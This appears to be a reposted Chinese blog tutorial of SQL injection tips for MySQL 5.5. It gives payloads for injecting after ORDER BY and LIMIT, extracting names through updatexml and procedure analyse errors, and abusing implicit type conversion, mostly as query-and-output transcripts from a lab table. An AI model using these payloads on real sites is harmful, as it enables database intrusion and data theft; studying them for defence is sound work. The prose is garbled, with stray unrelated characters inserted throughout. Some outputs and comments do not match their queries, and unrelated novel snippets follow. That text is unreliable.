SQL注入的一些tips

原文鏈接:http://wyb0.com/posts/some-tips-for-sql-injection/

環(huán)境:MySQL 5.5.47

0x00 注入點(diǎn)在Order by后面

mysql> select id,name,content from msg where id>1 order by id into outfile 'C:\\Apps\\phpStudy\\WWW\\a.txt';
Query OK, 1 row affected (0.01 sec)
mysql> select id,name,content from msg where id>1 order by updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~msg~'
mysql> select id,name,content from msg where id>1 order by name procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1);
ERROR 1105 (HY000): XPATH syntax error: '~rtest~'
mysql> select name from msg where id>1 order by if(1=1,1,(select 1 union select 2));
+----------+
| name     |
+----------+
| xiaohong |
+----------+
1 row in set (0.00 sec)
mysql> select name from msg where id>1 order by if(1=2,1,(select 1 union select 2));
ERROR 1242 (21000): Subquery returns more than 1 row

mysql> select name from msg where id>1 order by (select case when(2>1) then 1 else 1*(select 1 union select 2)end)=1;
+----------+
| name     |
+----------+
| xiaohong |
+----------+
1 row in set (0.00 sec)
mysql> select name from msg where id>1 order by (select case when(2<1) then 1 else 1*(select 1 union select 2)end)=1;
ERROR 1242 (21000): Subquery returns more than 1 row

0x01 注入點(diǎn)在limit后面

  • limit前面沒(méi)有order by可以使用union、analyse()
mysql> select id,name,content from msg where id>1 limit 1,1 union select 1,2,3;
+----+------+---------+
| id | name | content |
+----+------+---------+
|  1 | 2    | 3       |
+----+------+---------+
1 row in set (0.01 sec)

mysql> select id,name,content from msg where id>1 limit 1,1 procedure analyse();
+-------------------+---------------+---------------+------------+------------+
| Field_name        | Min_value     | Max_value     | Min_length | Max_length |
+-------------------+---------------+---------------+------------+------------+
| rtest.msg.name    | xiaohong      | xiaohong      |          8 |          8 |
| rtest.msg.content | I have a cat. | I have a cat. |         13 |         13 |
+-------------------+---------------+---------------+------------+------------+

------------------+-------+-------------------------+------+--------------------+
 Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std  | Optimal_fieldtype  |
------------------+-------+-------------------------+------+--------------------+
     0 |     0 | 8.0000                  | NULL | ENUM('xiaohong') NOT NULL     |
     0 |     0 | 13.0000                 | NULL | ENUM('I have a cat.') NOT NULL|
------------------+-------+-------------------------+------+--------------------+
2 rows in set (0.00 sec)
  • limit前面有order by則不可以使用union扔嵌、analyse()
mysql> select id,name,content from msg where id>1 limit 1,1 procedure analyse(updatexml(1,concat(0x7e,@@version,0x7e),1),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47~'

mysql> select id,name,content from msg where id>1 order by name limit 1,1 procedure analyse(updatexml(1,concat(0x7e,@@version,0x7e),1),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47~'

0x02 根據(jù)報(bào)錯(cuò)得到數(shù)據(jù)庫(kù)名苍姜、表名呀枢、列名

#得到數(shù)據(jù)庫(kù)名為rtest
mysql> select id,name,content from msg where id=2-a();
ERROR 1305 (42000): FUNCTION rtest.a does not exist

#得到表名為msg
mysql> select id,name,content from msg where id=2 and polygon(1);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing
mysql> select id,name,content from msg where id=2 and polygon(id);
ERROR 1367 (22007): Illegal non geometric '`rtest`.`msg`.`id`' value found during parsing

#得到列名為id躲庄、name、content臂拓、useragent
mysql> select id,name,content from msg where id=2 and (select * from(select * from msg as a join msg as b)c);
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select id,name,content from msg where id=2 and (select * from(select * from msg as a join msg as b using(id))c);
ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select id,name,content from msg where id=2 and (select * from(select * from msg as a join msg as b using(id,name))c);
ERROR 1060 (42S21): Duplicate column name 'content'
mysql> select id,name,content from msg where id=2 and (select * from(select * from msg as a join msg as b using(id,name,content))c);
ERROR 1060 (42S21): Duplicate column name 'useragent'
mysql> select id,name,content from msg where id=2 and (select * from(select * from msg as a join msg as b using(id,name,content,useragent))c);
ERROR 1241 (21000): Operand should contain 1 column(s)

0x03 MySQL的隱式轉(zhuǎn)換

  • 官方隱式轉(zhuǎn)換規(guī)則

    • 兩個(gè)參數(shù)至少有一個(gè)是 NULL 時(shí)绵载,比較的結(jié)果也是 NULL瓶殃,例外是使用 <=> 對(duì)兩個(gè) NULL 做比較時(shí)會(huì)返回 1学搜,這兩種情況都不需要做類型轉(zhuǎn)換
    • 兩個(gè)參數(shù)都是字符串,會(huì)按照字符串來(lái)比較多柑,不做類型轉(zhuǎn)換
    • 兩個(gè)參數(shù)都是整數(shù)奶是,按照整數(shù)來(lái)比較,不做類型轉(zhuǎn)換
    • 十六進(jìn)制的值和非數(shù)字做比較時(shí)竣灌,會(huì)被當(dāng)做二進(jìn)制串
    • 有一個(gè)參數(shù)是 TIMESTAMP 或 DATETIME聂沙,并且另外一個(gè)參數(shù)是常量,常量會(huì)被轉(zhuǎn)換為 timestamp
    • 有一個(gè)參數(shù)是 decimal 類型初嘹,如果另外一個(gè)參數(shù)是 decimal 或者整數(shù)及汉,會(huì)將整數(shù)轉(zhuǎn)換為 decimal 后進(jìn)行比較,如果另外一個(gè)參數(shù)是浮點(diǎn)數(shù)削樊,則會(huì)把 decimal 轉(zhuǎn)換為浮點(diǎn)數(shù)進(jìn)行比較
    • 所有其他情況下豁生,兩個(gè)參數(shù)都會(huì)被轉(zhuǎn)換為浮點(diǎn)數(shù)再進(jìn)行比較
  • 數(shù)字和字符進(jìn)行運(yùn)算時(shí)會(huì)轉(zhuǎn)換為double類型

mysql> select 2+'4'; #數(shù)字和字符會(huì)轉(zhuǎn)換為數(shù)字
+-------+
| 2+'4' |
+-------+
|     6 |
+-------+
1 row in set (0.00 sec)
mysql> select 'a'+'55'; #字符和字符會(huì)轉(zhuǎn)換為數(shù)字
+----------+
| 'a'+'55' |
+----------+
|       55 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '33'+'32d11a';
+-----------+
| '33'+'3d' |
+-----------+
|        65 |
+-----------+
1 row in set, 1 warning (0.00 sec)
  • concat()函數(shù)將數(shù)字轉(zhuǎn)換為字符
mysql> select concat(3,'test'); #前面的數(shù)字1被轉(zhuǎn)換為字符
+------------------+
| concat(3,'test') |
+------------------+
| 3test            |
+------------------+
1 row in set (0.00 sec)
  • name類型為string,查詢條件為int 0時(shí)可以查詢
mysql> desc msg;
+-----------+---------------+------+-----+---------+----------------+
| Field     | Type          | Null | Key | Default | Extra          |
+-----------+---------------+------+-----+---------+----------------+
| id        | int(11)       | NO   | PRI | NULL    | auto_increment |
| name      | varchar(30)   | NO   |     | NULL    |                |
| content   | varchar(1024) | NO   |     | NULL    |                |
| useragent | varchar(1024) | NO   |     | NULL    |                |
+-----------+---------------+------+-----+---------+----------------+
4 rows in set (0.01 sec)

mysql> select id,name,content from msg where id=1 and name=0;
+----+----------+--------------+
| id | name     | content      |
+----+----------+--------------+
|  1 | xiaoming | hello world. |
+----+----------+--------------+
1 row in set, 2 warnings (0.00 sec)

mysql> show warnings;
+---------+------+----------------------------------------------+
| Level   | Code | Message                                      |
+---------+------+----------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'xiaoming' |
+---------+------+----------------------------------------------+
2 rows in set (0.00 sec)

mysql> select id,name,content from msg;
+----+----------+---------------+
| id | name     | content       |
+----+----------+---------------+
|  1 | xiaoming | hello world.  |
|  2 | xiaohong | I have a cat. |
|  3 | 55lihua  | ni hao        |
+----+----------+---------------+
3 rows in set (0.00 sec)

mysql> select id,name,content from msg where name='li'+'55';
+----+---------+---------+
| id | name    | content |
+----+---------+---------+
|  3 | 55lihua | ni hao  |
+----+---------+---------+
1 row in set, 4 warnings (0.01 sec)

mysql> show warnings;
+---------+------+----------------------------------------------+
| Level   | Code | Message                                      |
+---------+------+----------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'xiaoming' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'li'       |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'xiaohong' |
| Warning | 1292 | Truncated incorrect DOUBLE value: '55lihua'  |
+---------+------+----------------------------------------------+
4 rows in set (0.00 sec)


Reference(侵刪):

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末漫贞,一起剝皮案震驚了整個(gè)濱河市甸箱,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌迅脐,老刑警劉巖芍殖,帶你破解...
    沈念sama閱讀 221,198評(píng)論 6 514
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異谴蔑,居然都是意外死亡豌骏,警方通過(guò)查閱死者的電腦和手機(jī)龟梦,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,334評(píng)論 3 398
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)窃躲,“玉大人计贰,你說(shuō)我怎么就攤上這事〉僦希” “怎么了躁倒?”我有些...
    開封第一講書人閱讀 167,643評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)洒琢。 經(jīng)常有香客問(wèn)我秧秉,道長(zhǎng),這世上最難降的妖魔是什么衰抑? 我笑而不...
    開封第一講書人閱讀 59,495評(píng)論 1 296
  • 正文 為了忘掉前任象迎,我火速辦了婚禮,結(jié)果婚禮上呛踊,老公的妹妹穿的比我還像新娘砾淌。我一直安慰自己,他們只是感情好恋技,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,502評(píng)論 6 397
  • 文/花漫 我一把揭開白布拇舀。 她就那樣靜靜地躺著,像睡著了一般蜻底。 火紅的嫁衣襯著肌膚如雪骄崩。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,156評(píng)論 1 308
  • 那天薄辅,我揣著相機(jī)與錄音要拂,去河邊找鬼。 笑死站楚,一個(gè)胖子當(dāng)著我的面吹牛脱惰,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播窿春,決...
    沈念sama閱讀 40,743評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼拉一,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了旧乞?” 一聲冷哼從身側(cè)響起蔚润,我...
    開封第一講書人閱讀 39,659評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎尺栖,沒(méi)想到半個(gè)月后嫡纠,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,200評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,282評(píng)論 3 340
  • 正文 我和宋清朗相戀三年除盏,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了叉橱。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,424評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡者蠕,死狀恐怖窃祝,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情踱侣,我是刑警寧澤锌杀,帶...
    沈念sama閱讀 36,107評(píng)論 5 349
  • 正文 年R本政府宣布,位于F島的核電站泻仙,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏量没。R本人自食惡果不足惜玉转,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,789評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望殴蹄。 院中可真熱鬧究抓,春花似錦、人聲如沸袭灯。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,264評(píng)論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)稽荧。三九已至橘茉,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間姨丈,已是汗流浹背畅卓。 一陣腳步聲響...
    開封第一講書人閱讀 33,390評(píng)論 1 271
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留蟋恬,地道東北人翁潘。 一個(gè)月前我還...
    沈念sama閱讀 48,798評(píng)論 3 376
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像歼争,于是被迫代替她去往敵國(guó)和親拜马。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,435評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容